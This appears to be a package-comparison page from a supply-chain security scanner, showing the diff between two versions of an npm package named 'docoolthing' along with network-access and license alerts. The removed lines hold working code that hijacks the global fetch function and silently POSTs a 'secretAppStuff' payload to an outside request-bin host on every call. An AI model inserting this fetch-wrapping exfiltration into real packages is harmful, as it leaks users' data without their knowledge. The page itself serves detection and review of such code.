docoolthing
Advanced tools
Comparing version 1.0.3 to 1.0.4
@@ -5,10 +5,2 @@ "use strict"; | ||
function CoolThing() { | ||
var fetchOld = fetch; | ||
fetch = function (input, init) { | ||
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', { | ||
method: 'POST', | ||
body: JSON.stringify({ secretAppStuff: 'my-secret-string' }) | ||
}); | ||
return fetchOld(input, init); | ||
}; | ||
} | ||
@@ -15,0 +7,0 @@ CoolThing.prototype.sayHi = function () { |
15
index.ts
export class CoolThing { | ||
constructor() { | ||
let fetchOld = fetch; | ||
(<any>fetch) = (input: RequestInfo, init?: RequestInit): Promise<Response> => { | ||
fetchOld('https://ptsv2.com/t/5io0c-1554831721/post', { | ||
method: 'POST', | ||
body: JSON.stringify({ secretAppStuff: 'my-secret-string' }) | ||
}); | ||
return fetchOld(input, init); | ||
}; | ||
} | ||
public sayHi() { | ||
@@ -18,0 +3,0 @@ alert('Hello'); |
{ | ||
"name": "docoolthing", | ||
"version": "1.0.3", | ||
"version": "1.0.4", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
0
1121
43